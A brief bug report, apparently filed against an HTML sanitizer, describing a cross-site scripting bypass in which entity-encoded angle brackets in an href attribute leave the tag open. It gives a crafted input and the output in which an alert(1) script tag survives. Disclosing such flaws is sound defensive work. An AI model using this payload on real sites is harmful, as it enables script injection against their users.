xss with angle bracket entities

[dmac100]

Angle bracket entities in a href attribute cause the closing quote for the attribute to be converted to an entity, leaving the tag open. Other tags containing scripts can then be added after it.

Input:
<a href='&#60;/a&#x3e;'>Link</a><a href='&#60;/a&#x3e;&#39;&#60;script&#x3e;alert(1)&#x3c;/script&#x3e;'>Link</a>

Output:
<a href="</a>&quot;>Link</a><a href="</a>'<script>alert(1)</script>&quot;>Link</a>